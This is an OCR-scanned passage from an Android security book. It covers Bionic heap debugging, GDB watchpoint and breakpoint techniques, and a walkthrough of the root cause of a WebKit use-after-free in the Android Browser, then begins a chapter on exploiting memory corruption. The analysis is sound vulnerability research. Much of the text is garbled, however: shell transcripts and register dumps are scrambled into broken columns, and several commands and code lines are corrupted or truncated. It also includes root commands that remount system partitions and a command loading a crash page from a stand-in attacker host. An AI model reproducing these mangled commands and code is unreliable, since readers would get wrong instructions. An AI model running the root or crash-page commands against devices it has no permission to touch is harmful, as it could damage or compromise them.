what the value was before and after. However, processing both inputs with a 
verbose parser shows semantics of changes. That is, it would show that the byte 
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changed is actually a length value in a tag-length-value (TLV) type of file struc- 
ture. Further, it would reveal which tag it was associated with. This semantic 
information gives a researcher an indicator where to look in the code. 

Minimizing the test input is helpful whether fuzz inputs were mutated or 
generated. Two techniques for minimization are reverting changes and elimi- 
nating unnecessary parts of the input. Reverting changes helps isolate exactly 
which change is causing the ill behavior. Eliminating the parts of the input 
that doesn’t change a test’s results means one less thing to look at. Consider 
the previous example from comparing inputs. If there are thousands of data 
blocks that contain the same tag value, analysis may be hampered due to hit- 
ting the breakpoint thousands of times. Eliminating unnecessary data blocks 
reduces the breakpoint hit count to only one. Like comparing inputs, minimiz- 
ing benefits greatly from semantic information. Breaking down a file format 
into its hierarchal components and removing them at different levels speeds 
the minimization process. 

These two techniques, although powerful, are less applicable outside of fuzz- 
ing. Other techniques apply to a wider range of analysis scenarios and thus are 
more generic. 


Android Heap Debugging 


Android’s Bionic C runtime library contains built-in heap debugging tools. 
This feature is briefly discussed at htt p://source.android. com/devices/ 
native-memory. html . Itis controlled by the! i bc. debug. mal | oc system property. 
As mentioned on the aforementioned website, enabling this facility for processes 
spawned from Zygote (like the browser) requires restarting the entire Dalvik 
runtime. How to do that is covered in the “Faking a Debug Device” section 
earlier in this chapter. 

Through this variable, Android supports four strategies for debugging things 
that might go wrong with heap memory. The mal | oc_debug_common. cpp file 


inside the bi onic/!ibc/ bionic directory of AOSP contains more details: 
455 // Initialize malloc dispatch table with appropriate routines. 
456 switch (debug level) { 

457 case Ti 

458 nitMalloc(&gMallocUse, debug_level, "leak"); 

459 break; 

460 case 5: 

461 nitMalloc(&gMallocUse, debug_level, "fill"); 

462 break; 

463 case 10: 

464 nitMalloc(&gMallocUse, debug_level, "“chk"); 

465 break; 

466 case 20: 

467 nitMalloc(&gMallocUse, debug_level, "“qemu_instrumented"); 


468 break; 
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Earlier in this file, a comment explains the purpose of each of the different 
strategies. The notable exception is that the fourth option, qemu_instrumented, 
is not mentioned. This is because that option is actually implemented in the 


emulator itself. 


262 * 1 For memory leak detection 
263 * 5 For filling allocated / f 
264 * CHK_SENTINEL_ VALUE 

265 * 10 - For adding pre-, and post 
266 * buffer overruns 


S 
reed memory with patterns defined by 


and CHK_FILL_FREE macros. 


- allocation stubs in order to detect 


In addition to requiring root access to set the relevant properties, it is nec- 


essary to put thel i bc_malloc_debug 


_l eak. so library into the /system/lib 


directory. Doing so requires remounting the / syst em partition in read/write 
mode temporarily. This library isin theout/target/product/maguro/obj/lib 
directory inside the AOSP build output. The following excerpt shows the setup 


process in action: 


dev: ~/android/source $ adb push \ 
out/target/product/maguro/obj/lib/lib 
587 KB/s (265320 bytes in 0. 440s) 

dev: ~/android/source $ adb shel 

shel! @maguro:/ $ su 

root@maguro:/ # mount -o remount,rw / 
root@maguro:/ # cat /data/local/tmp/| 
/system/lib/libc_malloc_debug_leak.so 
root@maguro:/ # mount -o remount,ro / 
root@maguro:/ # setprop libc.debug. ma 
root@maguro:/ # cd /data/local/tmp 
root@maguro:/data/local/tmp # ps | gr 
systen 379 125 623500 99200 ff 
root@maguro:/data/local/tmp # kill -9 
root @maguro:/data/local/tmp # logcat 
[libe 2994): /system/bin/bootan 
|) 


2999 
3001 
3002): 
3003): 
3004 
3000 


in/netd: 
in/iptab 
in/ipotab 
in/iptab 
in/ipotab 
in/app_pr 


/systen 
/systen 
/systen 
/systen 
[systen 
/systen 


aS M ‘a 


c_malloc_debug_leak.so /data/local/tmp 


system 
ibc_malloc_debug_leak.so > \ 


system 
loc 5 


ep system server 

fffff 40199304 S system server 
379 

-d | grep -i debug 

imation: using libc.debug. malloc 5 


using libc. debug. malloc 5 (fill) 


es: using libc.debug. malloc 5 (fill) 

es: using libc.debug. malloc 5 (fill) 
es: using libc. debug. malloc 5 (fill) 
es: using libc. debug. malloc 5 (fill) 
ocess: using libc. debug. malloc 5 


Unfortunately, testing these debugging facilities on Android 4.3 in the presence 
of confirmed bugs shows that they don’t work very well, if at all. Hopefully this 
situation improves with future versions of Android. Regardless, this debugging 
facility lays the building blocks for future work in creating more robust heap 


debugging functionality. 
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Watchpoints 


A watchpoint is a special kind of breakpoint that triggers when certain opera- 
tions are performed on a memory location. On x86 and x64 watchpoints are 
implemented using hardware breakpoints and allow a researcher to be notified 
on read, write, or both. Unfortunately, most ARM processors do not implement 
hardware breakpoints. It is possible to accomplish the same thing on ARM using 
software watchpoints. However, software watchpoints are very, very slow and 
expensive in comparison due to their reliance on single-stepping. Still, they are 
useful for tracking down when a particular variable changes value. 

Say a researcher knows some object’s member variable is changed after it 
is allocated. She doesn’t know where it is changed in the code—only that is 
changed. First she puts a breakpoint after the object is allocated. When that 
breakpoint is hit, she creates a watchpoint using GDB’s wat ch command. After 
continuing execution, she notices execution slows down considerably. When 
the program changes the value, GDB suspends execution on the instruction 
following the change. This technique successfully revealed the code location 
that the researcher sought. 


Interdependent Breakpoints 


Breakpoints that create other breakpoints, or interdependent breakpoints, are 
very powerful tools. The most important aspect of using this technique is that 
it eliminates noise. Consider a crash from heap corruption that happens on a 
call to a function called mai n_event_| oop. As its name suggests, this function is 
executed often. Determining the root cause requires figuring out exactly what 
block was being operated on when the corruption occurred. However, setting a 
breakpoint on mai n_event_|0op prematurely stops execution over and over. If 
the researcher knows that the corruption happens from processing particular 
input and knows where the code that starts processing that input is, he can place 
a breakpoint there first. When that breakpoint is hit, he can set a breakpoint on 
main_event_|oop. If he’s lucky, the first time the new breakpoint is hit will be 
the invocation when the crash occurs. Regardless, all previous invocations that 
definitely couldn’t have caused the corruption are successfully ignored (and 
with no performance penalty). In this example scenario, using interdependent 
breakpoints helps narrow the window to the exact point of corruption. Another 
similar scenario is presented in the next section, “Analyzing a WebKit Crash.” 


Analyzing a WebKit Crash 


Determining the root cause of a vulnerability is an iterative process. Tracking 
down an issue often requires executing the crashing test case numerous times. 
Though a debugger is instrumental in this process, the root cause is rarely 
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revealed immediately. Working backward through data flow and control flow, 
including inter-procedural flow, is what ultimately brings us to the heart of 
the issue. 

For demonstrative purposes, we study an HTML file that crashes the Android 
Browser that ships with a Galaxy Nexus running Android 4.3. Interestingly, 
neither the stable nor beta versions of Chrome for Android are affected. Using 
several techniques in conjunction with the debugging methods outlined earlier in 
this chapter, we work to discover the root cause of the bug that causes this crash. 

It sometimes helps to crash the browser repeatedly and look at the tombstones 
that result. The values in registers are telling. The following includes output 
from several crashes that occurred from loading this page: 


root@maguro:/data/tombstones # /data/local/tmp/busybox head -9 * | grep 
‘ye! 
ip 00000001 sp 5e8003c8 
00000001 sp 5ddba3c8 
00000001 sp 5dedc3c8 
00000001 sp 5dedc3c8 


ip 5d46fee5 pc 5a50ec48 cpsr 200e001 
1p 

1p 

1p 

ip 00000001 sp 5e9003b0 

ip 

1p 

1p 


5c865ee5 pc 5e5fc2b8 cpsr 2000001 
5ca4bee5 pc 00000000 cpsr 200f001 
5ca4bee5 pc 60538ad0 cpsr 200e001 
5d46fee5 pc 5a90bf80 cpsr 200e001 
5d46fee5 pc 5a518d20 cpsr 200f001 
5d46fee5 pc 5a7100a0 cpsr 200f001 
5d46fee5 pc 5edfa268 cpsr 200f001 


00000001 sp 5e900688 
00000001 sp 5eb00688 
00000001 sp 5ea003c8 


0 
0 
0 
0 
0 
0 
0 
0 


E a See Sy ee ee 


In this particular case, you can see that the crash location varies significantly 
from one execution to the next. In fact, the PC register (akin to EIP on x86) ends 
up with many different strange values. This is highly indicative of a use-after- 
free vulnerability. To know for sure though, and to determine why such an issue 
would be occurring, you have to dig deeper. 

To gain more insight into what’s happening, you employ the native code 
debugging environment that you set up earlier in this chapter. As before, run 
the debugging. sh shell script in the background on the host machine. This runs 
the at tach. sh shell script on the device, which asks the browser to navigate to 
the about: bl ank page, waits a bit, and attaches the GDB server. Then, on the 
host machine, we launch the GDB client with our GDB script that connects to 
the waiting GDB server: 
dev: gn-browser-dbg $ arm-eabi-gdb -q -x script.gdb app_process 
dev: ~/android/source $ ./debugging.sh & 

[1] 28994 

dev: gn-browser-dbg $ arm-eabi-gdb -q -x Script.gdb app_process 

Reading symbols from /android/source/gn-browser-dbg/app_process... done. 
warning: Could not load shared library symbols for 86 libraries, e.g. libm 
Sp., 

Use the "info sharedlibrary" command to see the complete listing. 


Do you need "set solib-search-path" or "set sysroot"? 
warning: Breakpoint address adjusted from 0x40079b79 to 0x40079b78 


epoll_ wait () at bionic/libc/arch-arm/syscalls/epoll_wait.$:10 
10 mov r7, ip 
(gdb) cont 


Continuing. 
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After attaching the debugger and continuing execution, we’re ready to open 
the HTML file that causes the crash. Like you did in the att ach. sh script, you 
use am start to ask the browser to navigate to the page. 


shel! @maguro:/ $ am start -a android.intent.action. VIEW -d \ 
http://evil-site.com/crashl. html com. google. android. browser 


In this particular instance, it may require several attempts to load the page for 
a crash to occur. When the crash finally happens, you're ready to start digging in. 


Program received signal SIGSEGV, Segmentation fault 
[Switching to Thread 17879 

0x00000000 in ?? () 

(gdb) 


Oh boy! The browser crashed with the PC register set to zero! This is a clear 
indication that something has gone horribly wrong. There are many different 
ways this can happen, so you want to find out how you might have gotten to 
this state. 

The first place you look for clues is in the call stack. Output from the 
backtrace GDB command is shown here: 


(gdb) back 
#0 =0x00000000 in ?? () 
#1 0x5d46fee4 in WebCore::Node::parentNode (this=0x5a621088) at 
external /webkit/Source/WebCore/dom/ Node. h: 731 
#2 0x5d6748e0 in WebCore:: Replacement Fragment::removeNode (this=<opti mized 
out>, node=...) 
at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 
cpp: 215 
#3 0x5d675d5a in WebCore:: Replacement Fragment::removeUnrenderedNodes 
(this=0x5ea004a8, holder=0x5a6b6a48 
at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 
cpp: 297 
#4 Ox5d675eac in WebCore:: Replacement Fragment:: Replacement Fragment 
(this=0x5ea004a8, document =<opti mized out> 
fragment =<optimized out>, matchStyle=<optimized out>, selection=...) 
at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 
cpp: 178 
#5 0x5d6764c2 in WebCore::ReplaceSelectionCommand: : doAppl y 
(this =0x5a621800 
at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 
cpp: 819 
#6 0x5d66701c in WebCore::EditCommand::apply (this=0x5a621800) at 
external/webkit/Source/WebCore/editing/ Edit Command. cpp: 92 
#7 0x5d66e2e2 in WebCore::executelnsertFragment (frame=<optimized out> 
fragment =<optimized out>) 
at external/webkit/Source/WebCore/editing/EditorCommand. cpp: 194 
#8 = 0x5d66e328 in WebCore::executel nsertHTML (frame=0x5aa65690, value=...) 
at external/webkit/Source/WebCore/editing/EditorCommand. cpp: 492 
#9 =0x5d66d3d4 in WebCore::Editor::Command::execute (this=0x5ea0068c 
parameter=..., triggeringEvent =0x0) 
at external/webkit/Source/WebCore/editing/EditorCommand. cpp: 1644 
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#10 0x5d6491a4 in WebCore:: Document::execCommand (this=0x5aalac80 
commandName=..., userlnterface=<optimized out>, value=...) 

at external/webkit/Source/WebCore/dom/ Document. cpp: 4053 
#11 Ox5d5c7df6 in WebCore:: Document! nternal::execCommandCal | back 
(args=<opti mized out >) 

at .../libwebcore_intermediates/Source/ WebCore/ bindings/V8Document 
cpp: 1473 
#12 0x5d78dc22 in Handl eApi Call Hel per<false> (isolate=0x4173c468, args=...) 
at 
external/v8/src/builtins.cc:1120 
[ii] 


From the call stack, you can see that the stack itself is intact and there are 
several functions leading up to the crash. On ARM, you can see how the pro- 
gram got here by looking where the LR register points. Dump the instructions 
at this location, subtracting either two or four depending on whether the code 
is Thumb or ARM. If the value is odd, the address points to Thumb code. 


(gdb) x/i $lr - 2 
Ox5d46fee3 <WebCore::Node::parentNode() const+18>: bix r2 


The instruction you see is a branch to a location stored in the R2 register. 
Checking the content of this register confirms if that is indeed how the program 
got here. 


(gdb) i r r2 
r2 0x0 0 


It looks fairly certain that this is how the program got here. 

You still haven't found the root cause, though, so start tracking data flow 
backward to see how in the world R2 became zero. It definitely isn’t normal to 
branch to zero. To find out more, look closer at the parent (calling) function by 
disassembling it. 

(gdb) up 


#1 = Ox5d46fee4 in WebCore::Node::parentNode (this=0x594134b0) at 
external/webkit/Source/WebCore/dom/ Node. h: 731 


731 return getFlag(IlsShadowRootFlag) || isSVGShadowRoot() ? 0 
parent(); 
(gdb) disas 
Dump of assembler code for function WebCore::Node::parentNode() const: 
Ox5d46fed0 <+0>: push {r4, Ir} 
Ox5d46fed2 <+2>: mov r4, ro 
Ox5d46fed4 <+4>: ldr r3, [r0, #36] ; 0x24 
Ox5d46fed6 <+6>: Isls rl, r3, #13 
Ox5d46fed8 <+8>: bpl.n Ox5d46fede <WebCore:: Node:: parent Node( 
const +14> 
Ox5d46feda <+10>: movs r0, #0 
Ox5d46fedc <+12>: pop {r4, pc} 
Ox5d46fede <+14>: ldr rl, [r0, #0] 
0x5d46fee0 <+16>: ldr r2, [r1, #112] ; 0x70 
0x5d46fee2 <+18>: bl x r2 
=> Ox5d46fee4 <+20>: cmp r0, #0 
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Ox5d46fee6 <+22>: bne.n 0x5d46f eda <WebCore:: Node:: parent Node( 
const +10> 

Ox5d46fee8 <+24>: ldr r0, [r4, #12] 

0x5d46f eea <+26>: pop {r4, pc} 


End of assembler dump. 


The disassembly listing shows a short function that indeed contains the branch 
to R2. It doesn’t appear to take any parameters, so it must be operating entirely 
on its members. Working backward, you can see that R2 is loaded from offset 
112 of the block of memory pointed to by R1. In turn, R1 is loaded from offset 
zero within the block pointed to by R0. Confirm that these values are indeed 
what led to the zero R2 value. 

(gdb) i r rl 

rl 0x5a621f a0 1516380064 

(gdb) x/wx $r1 + 112 

0x5a622010: 0x00000000 

(gdb) x/wx $r0 

0x5a621088: 0x5a621f a0 


Confirmed! It looks fairly certain that something went wrong with the chunk 
at 0x5a621f a0 or the chunk at 0x5a621088. Check to see if these are free or in 
use by dumping the heap header of the chunk at 0x5a621088. 


(gdb) x/2wx $r0 - 0x8 
0x5a621080: 0x00000000 0x00000031 


Specifically, look at the second 32-bit value. This corresponds to the size of the 
current chunk, which uses the lower 3 bits as flags. The status indicated by the 
lack of bit 2 being set means this chunk is free! This is definitely a use-after-free 
vulnerability of some type. 

Next, you want to get some idea where this chunk is freed. Quit the debugger, 
which allows the process to crash as usual. The debugging. sh shell script waits 
a bit, starts the browser back up, and attaches the GDB server. 


Kee Dialogs may periodically appear asking if you want to wait for the browser to 
respond. This is normal due to the debugger slowing the browser down. Click the Wait 
button to keep things going (or just ignore the dialog). 


When the browser is up again, attach the GDB client again. This time, set a 
tracing breakpoint on the parent function to try to interact shortly before the 
crash happens: 


(gdb) break 'WebCore::Node::parentNode() const' 

Breakpoint 1 at Ox5d46fed2: file external/webkit/Source/ WebCore/dom/ Node. h, 
line 730. 

(gdb) commands 

Type commands for breakpoint(s) 1, one per line. 

End with a line saying just "end". 

>cont 
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>end 
(gdb) cont 
Continuing. 


Unfortunately, you will quickly notice that this breakpoint is hit very fre- 
quently inside the browser. This is because the parent Node function is called 
from many places throughout the WebKit code base. To avoid this issue, we put 
a breakpoint on the grandparent function instead. 


(gdb) break \ 
"WebCore:: Replacement Fragment::removeNode( WIF:: PassRef Ptr <WebCore: : Node>) 
Breakpoint 1 at 0x5d6748d4: file 
external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.cpp, line 
DAs 
(gdb) cont 
Continuing. 

After the breakpoint is set, load the crash triggering page again. 
[Switching to Thread 18733] 
Breakpoint 1, WebCore::ReplacementFragment::removeNode (this=0x5ea004a8 
node=...) 

at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 

cpp: 211 
211 { 
(gdb) 


Now that you've stopped before the crash, create a tracing breakpoint that 
shows where the f r ee function is being called from. To reduce noise, limit this 
breakpoint to only the current thread. Before you can do that, you need to know 
what thread number corresponds to this thread. 


(gdb) info threads 


* 2 Thread 18733 WebCore:: Replacement Fragment: :removeNode 
(this=0x5e9004a8, node=... 

at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 
cpp: 211 


Now that you know this is thread 2, create a breakpoint limited to this thread 
and set up some script commands to execute when it is hit. 


(gdb) break dlfree thread 2 

Breakpoint 2 at 0x401259e2: file 
bionic/libc/bionic/../upstream-dl malloc/malloc.c, line 4711. 
(gdb) commands 

Type commands for breakpoint(s) 2, one per line. 

End with a line saying just "end". 


>silent 

>printf "free(Ox%x)\n", $r0 
>back 

>printf "\n" 

>cont 

>end 

(gdb) cont 

Continuing. 
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You will immediately start seeing output from this breakpoint upon continu- 
ing. Don’t worry too much about the output until the browser crashes again. 


It should only be necessary to tell the debugger to continue from our break- 
point once before the crash appears. If the debugger stops more than that, it is prob- 
ably best to kill the browser and try again. Scripting the whole process by adding to 
ourscri pt. gdb file makes restarting to try again less painful. 


When the browser crashes again, look at the value in R0: 


(gdb) i r ro 
r0 0x5a6a96d8 1516934872 


Then, scan backward through the debugger output looking for the f ree call 
that released that memory. 


free(0x5a6a96d8 
#0 dlfree (mem=0x5a6a96d8) at 
bionic/libc/bionic/../upstream- dl malloc/malloc.c:4711 
#1 0x401229c0 in free (mem=<opti mized out>) at 
bionic/libc/bionic/malloc_debug_ common. cpp: 230 
#2 0x5d479b92 in WebCore::Text::~Text (this=0x5a6a96d8, __in_ 
chrg=<opti mized 
out>) at external/webkit/Source/ WebCore/dom/ Text. h: 30 
#3 0x5d644210 in WebCore::removeAl|ChildreninContainer<WebCore:: Node 
WebCore::ContainerNode> (container=<opti mized out>) 

at external/webkit/Source/WebCore/dom/ContainerNodeAl gorithms. h: 64 
#4 0x5d644234 in removeAl| Children (this=0x5a8d36f0) at 
external /webkit/Source/ WebCore/dom/ContainerNode. cpp: 76 
#5 WebCore::ContainerNode::~ContainerNode (this=0x5a8d36f0, 
_in_chrg=<optimized out> 
at external/webkit/Source/ WebCore/dom/ContainerNode. cpp: 100 
#6 0x5d651890 in WebCore::Element::~Element (this=0x5a8d36f0, 
_in_chrg=<optimized out> 
at external/webkit/Source/WebCore/dom/Element.cpp: 118 
#71 =0x5d65c5b4 in WebCore::StyledElement::~StyledElement (this=0x5a8d36f 0 
_in_chrg=<optimized out> 
at external/webkit/Source/WebCore/dom/StyledElement.cpp:121 
#8 0x5d486830 in WebCore::HTMLE|ement:: ~HTMLElement (this=0x5a8d36f0, 
_in_chrg=<optimized out> 
at external/webkit/Source/WebCore/ html / HTMLEI ement. h: 34 
#9 0x5d486848 in WebCore::HTMLE| ement::~HTMLElement (this=0x5a8d36f0, 
_in_chrg=<optimized out> 
at external/webkit/Source/WebCore/ html /HTMLE! ement. h: 34 
#10 Ox5d46fb9a in WebCore::TreeShared<WebCore::ContainerNode>::removedLast 
Re 
(this=<optimized out >) 

at external/webkit/Source/WebCore/platform/TreeShared. h: 118 
#11 Ox5d46aef0 in deref (this=<optimized out>) at 
external/webkit/Source/WebCore/ platform TreeShared. h: 79 
#12 WebCore::TreeShared<WebCore::ContainerNode>::deref (this=<opti mized 
out >) 

at external/webkit/Source/WebCore/platform/TreeShared. h: 68 
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#13 0x5d46f69a in ~RefPtr (this=0x5e9003e8, __in_chrg=<opti mized out>) at 
external/webkit/Source/|avaScriptCore/wtf/Ref Ptr. h: 58 

#14 WebCore::Position:: ~Position (this=0x5e9003e8, __in_chrg=<opti mized 
out >) 


at external/webkit/Source/ WebCore/dom/ Position. h: 52 
#15 0x5d675d60 in WebCore:: Replacement Fragment::removeUnrenderedNodes 
(this=0x5e9004a8, holder=0x5a6c5fe0 


There it is! You can see that it is getting freed by a call to a destructor for a 
WebCore:: Text object. The other thing you can tell from looking closely at the 
preceding stack trace is that a buffer is being freed when removing all children 
from a certain type of HTML element called a Cont ai ner Node. This happens 
during the first call to removeNode, where your initial breakpoint was placed. 
Inspecting the node parameter on the second call to r emoveNode, you can see 
this pointer being passed in. That definitely should not happen. 

At this point you have confirmed that this is a use-after-free vulnerability. 
Still, you have not yet determined the root cause. To do this you have to ven- 
ture further up the call stack and suspiciously analyze what the program is 
doing incorrectly. Turn your attention to the function that calls removeNode, 
removeUnrenderedNodes. The source for this function is presented here: 


287 void Replacement Fragment::removeUnrenderedNodes(Node* holder 
288 { 
289 Vector<Node*> unrendered; 
290 
291 for (Node* node = holder->firstChild(); node; 
node = node- >traverseNext Node( hol der)) 
292 if (!isNodeRendered(node) && !isTableStructureNode( node) ) 
293 unrendered. append( node) 
294 
295 size_t n = unrendered. size(); 
296 for (size t i = 0; i <n; ++i 
297 removeNode(unrendered[i]) 
298 } 


Within this function, the loop on line 291 usest ravers eNext Node to go through 
the children of the Node object that’s passed in. For each Node, the code inside 
the loop adds any non-table Node that is not rendered to theunrendered Vector. 
Then, the loop on line 296 processes all of the accumulated Node objects. 

It’s likely that the first call to removeNode is fine. However, the second call 
operates on a freed pointer. In addition to knowing where the free happens 
and what uses the freed block, we know from our stack trace on dl f ree that 
removeNode will remove all children of a Container Node passed to it. Still, we 
don’t know the root cause. We don’t know exactly what leads to the use-after- 
free. It seems unlikely that something strange would be happening inside the 
isNodeRendered andi sTableStructureNode functions. The only other function 
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being called is thet raverseNext Node function. Looking at the source code for 
this function we see the following: 


1116 Node* Node::traverseNextNode(const Node* stayWithin) const 

IIT {d 

1118 if (firstChild() 

1119 return firstChil d( 

1120 if (this == stayWithin 

1121 return 0; 

1122 if (nextSibling()) 

1123 return nextSi bling() 

1124 const Node *n = this 

1125 while (n && !n->nextSibling() && (!stayWithin | 
n->parentNode() != stayWithin)) 

1126 n = n- >parent Node( 

1127 if (n) 

1128 return n->nextSibling(); 

1129 return 0; 

1130 } 


Lines 1118 and 1119 are the most telling. This function will descend into 
children whenever they exist. Because of this behavior, theunr endered Vector 
winds up containing any non-rendered nodes and their children. As such, the 
unrendered Vector will hold an already deleted child of the first node when 
the first call returns. 

You can verify this relationship by inspecting the unrendered Vector state 
on the first call to removeNode: 

Breakpoint 1, WebCore::ReplacementFragment::removeNode (this=0x5ea004a8 


node=...) 
at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 


cpp: 211 
211 { 
gdb) up 


#1 0x5d675d5a in WebCore::ReplacementFragment::removeUnrenderedNodes 
this=0x5ea004a8, holder =0x5ab3e550) 
at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 


cpp: 297 

297 removeNode(unrendered{[i]); 
gdb) p/x n 

$1 = 0x2 


gdb) x/2wx unrendered. m buffer. m buffer 
0x6038d8b8: Ox5edbf620 0x595078c0 


You can see that there are two entries and they point to Node objects at 
Ox5edbf620 and 0x595078c0. Look at the contents of these Node objects closer 
to see how they are related. Specifically, see if the first Node is the parent of the 
second node. 


(gdb) p/x *(Node *)Ox5edbf 620 
$205 { 
[...] 

m parent = 0x5ab3e550 
[ee] 
} 
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(gdb) p/x *(Node *)0x595078c0 
$3 = { 
[oe] 

m parent = Ox5edbf 620 
[eee] 
} 
(gdb) 


Aha! It is! You could stop here, but being sure requires following these two 
objects through to the crash to make sure no funny business is unfolding. 
You can see that the second entry in the Vector hasan m parent field that 
points to the first Node. When the second Node is removed, it and its parent are 
already freed. Place a breakpoint on dI f ree again. This time, let GDB display 
its usual breakpoint notification and have it continue automatically. 
gdb) break dlfree thread 2 
Breakpoint 2 at 0x401259e2: file 
bionic/libc/bionic/../upstream-dl malloc/malloc.c 
ine 4711. 
gdb) commands 


Type commands for breakpoint(s) 2, one per line. 
End with a line saying just "end". 


>con 
>end 

gdb) cont 
Continuing. 


Breakpoint 2, dlfree (mem=0x595078c0) at 
bionic/libc/bionic/../upstream-dl malloc/malloc.c: 4711 


Breakpoint 2, dlfree (mem=0x5edbf620) at 
bionic/libc/bionic/../upstream-dl malloc/malloc.c: 4711 


You can see, again, that these two pointers are freed. The first call frees 
the child Node and the second frees the first Node. The original breakpoint on 
removeNode is hit next. 

Breakpoint 1, WebCore::ReplacementFragment::removeNode (this=0x5ea004a8 


node=...) 
at external/webkit/Source/WebCore/editing/ Repl aceSel ecti onCommand 


cpp: 211 

211 { 
(gdb) p/x node 
$4 = { 


m ptr = 0x595078c0 


Finally, you've confirmed that the Node passed in tor emoveNode is indeed the 
freed child Node. If you continue, you're already executing undefined behavior 
by operating on this released object. 

So the root cause is that both the removeNode andremoveUnrenderedNodes 
functions are traversing into the children of a Node that is to be removed. But 
how do you fix the issue? 
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There are several ways to avoid this vulnerability. In fact, this vulnerability 
was already patched by the WebKit developers and assigned CVE-2011-2817. 
The fact that Android remains vulnerable is an unfortunate oversight and is 
likely due to differences in security prioritization within Google. The fix that 
the WebKit developers officially carried forward is as follows: 


diff --git a/Source/WebCore/editing/ Repl aceSel ectionCommand. cpp 
b/Source/WebCore/editing/ReplaceSelectionCommand. cpp 
index d4b0897..8670dfb 100644 
- a/Source/WebCore/editing/ReplaceSelectionCommand. cpp 
+++ b/Source/WebCore/editing/ Repl aceSel ectionCommand. cpp 
@@ -292,7 +292,7 @@ 


void Repl acementFragment::removeUnrenderedNodes(Node* hol der) 


{ 


Vector<Node*> unrendered; 


+ Vector <RefPtr<Node> > unrendered; 
for (Node* node = holder->firstChild(); node; 
node = node- >traverseNext Node( hol der) ) 
if (!isNodeRendered(node) && !isTabl eStructureNode( node) ) 


This modification changes the declaration of the unrendered Vector to hold 
reference counted pointers instead of raw pointers. Although this does remove 
the possibility for use-after-free, there is another, more efficient approach. The 
traverseNext Si bling function implements the same behavior ast raver seNext - 
Node with one key difference. It does not traverse into child nodes. Because 
you know that child nodes will get removed on the call tor emoveNode, this fits 
the use case of this function better. The unrendered Vector would not contain 
children of nodes that get removed, and so the use-after-free is still avoided. 


Judging Exploitability 


After the root cause of an issue is isolated, the next goal is to further classify 
the issue by judging how easily it can be exploited. Whether the ultimate goal 
is fixing an issue or exploiting it, prioritizing based on ease of exploitation uses 
resources more efficiently. Easy-to-exploit issues should be investigated with 
higher priority than those that are hard to exploit. 

Accurately determining whether or not a bug can be exploited is a difficult, 
complicated, and lengthy process. Depending on the bug and the level of certainty 
required, this task can take anywhere from a few minutes to several months. 
Thankfully, teams that are tasked with fixing bugs may not need to concern 
themselves with this task at all. They can simply fix the bug. If the ultimate goal 
is prioritizing which bugs to fix first, one can err on the side of caution. However, 
researchers aiming to prove a bug’s exploitability do not have this luxury. 

The whole process is highly subjective and hinges on the experience and 
knowledge of the analyst or analysts involved. To make a correct determination, 
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analysts must be well versed in state-of-the-art exploitation techniques. They 
must be intimately familiar with all the exploit mitigations present on the tar- 
get platform. Even an experienced and knowledgeable analyst faces challenges 
when judging whether or not some bugs are exploitable. 

Proving whether an issue is exploitable or not is easy sometimes, but other 
times it is simply infeasible. For example, the issue analyzed in the previous 
section sometimes leads to a crash with a tainted PC register. This may, at a 
glance, be deemed highly dangerous. However, there seems to be very little 
chance to control the buffer that is freed before it is reused. This suggests that 
it may not actually be exploitable at all. Exploiting issues like this is covered in 
more detail in Chapter 8. 


Summary 


In this chapter you learned about debugging and analyzing vulnerabilities on 
Android. The chapter covers a plethora of techniques for debugging both Dalvik 
and native code, including using common debug facilities, leveraging automation 
to increase efficiency, debugging at source level using AOSP-supported devices, 
and debugging on-device for increased performance. We explained why symbols 
are more important on ARM, showed how that leads to challenges in debug- 
ging with non-AOSP devices, and offered ways to deal with these problems. 

Finally the chapter discussed two key goals when analyzing vulnerabilities: 
determining root cause and judging exploitability. You were introduced to 
several common vulnerability analysis tools and techniques to help you get a 
deeper understanding of bugs that you might encounter. You walked through 
analyzing the root cause of a vulnerability in the Android Browser and learned 
some of the considerations involved in determining whether or not issues are 
exploitable. 

The next chapter takes a closer look at user-space exploitation on Android. 
It covers crucial code constructs and exploitation-relevant operating system 
details, and examines how several exploits work in detail. 
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This chapter introduces exploiting memory corruption issues in user-space 
software on the Android operating system. Well-known vulnerability classes, 
such as stack-based buffer overflows, are examined in the context of the ARM 
architecture. The chapter discusses key implementation details that are relevant 
when developing exploits. Next, it examines a few historic exploits so you can 
understand the application of the previously introduced concepts. Finally, the 
chapter wraps up with a case study in advanced heap exploitation using a 
remotely exploitable vulnerability in the WebKit browser engine. 


Memory Corruption Basics 


The key to understanding exploits for memory corruption vulnerabilities is 
abstraction. It is important to avoid thinking in terms of a high-level language 
such as C. Instead, an attacker should simply consider the memory of the target 
machine as a finite amount of memory cells that are only assigned a meaning by 
the target program's semantics. This includes any meaning implicitly induced 
by certain instruction types or functions, such as those that treat regions of 
memory as the stack or heap. 
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The following sections discuss certain specific incarnations of memory 
corruption and how they can be exploited on the Android platform. However, 
they all have one thing in common with any other exploitation method: The 
implicit assumptions the target code makes about certain memory regions are 
violated by the attacker. Subsequently, these violations are used to manipulate 
the target program's state to the attacker’s liking. This can happen in more 
straightforward ways, such as directing the native execution flow to attacker- 
controlled memory. It can also happen in more arcane ways, such as leveraging 
existing program semantics on violated assumptions to make a program behave 
to the attacker’s choosing (often referred to as weird machine programming). 

There are many details and advanced exploitation methods for both the 
user-space stack and heap that cannot be covered in this chapter, because which 
technique to use depends so much on the vulnerability at hand. There are count- 
less resources on the Internet that provide further details that are sometimes 
architecture specific. This chapter focuses on introducing the most common 
concepts that affect the Android platform on ARM devices. 


Stack Buffer Overflows 


Like many other architectures’ Application Binary Interfaces (ABIs), the ARM 
Embedded ABI (EABI) makes heavy use of the designated (thread-specific) 
program stack. The following ABI rules are used on ARM: 


m Functions that exceed four parameters get further parameters passed on 
the stack using the push instruction. 


= Local variables that cannot be stored in registers are allocated on the 
current stack frame. This holds especially true for variables larger than 
the 32-bit native word size of the ARM architecture and variables that 
are referenced by pointers. 


m The return address from the current execution function is stored on the 
stack for non-leaf functions. More details on handling of function return 
addresses are discussed in Chapter 9. 


When a function that uses the stack is invoked, it typically starts with pro- 
logue code that sets up a stack frame and ends with epilogue code that tears it 
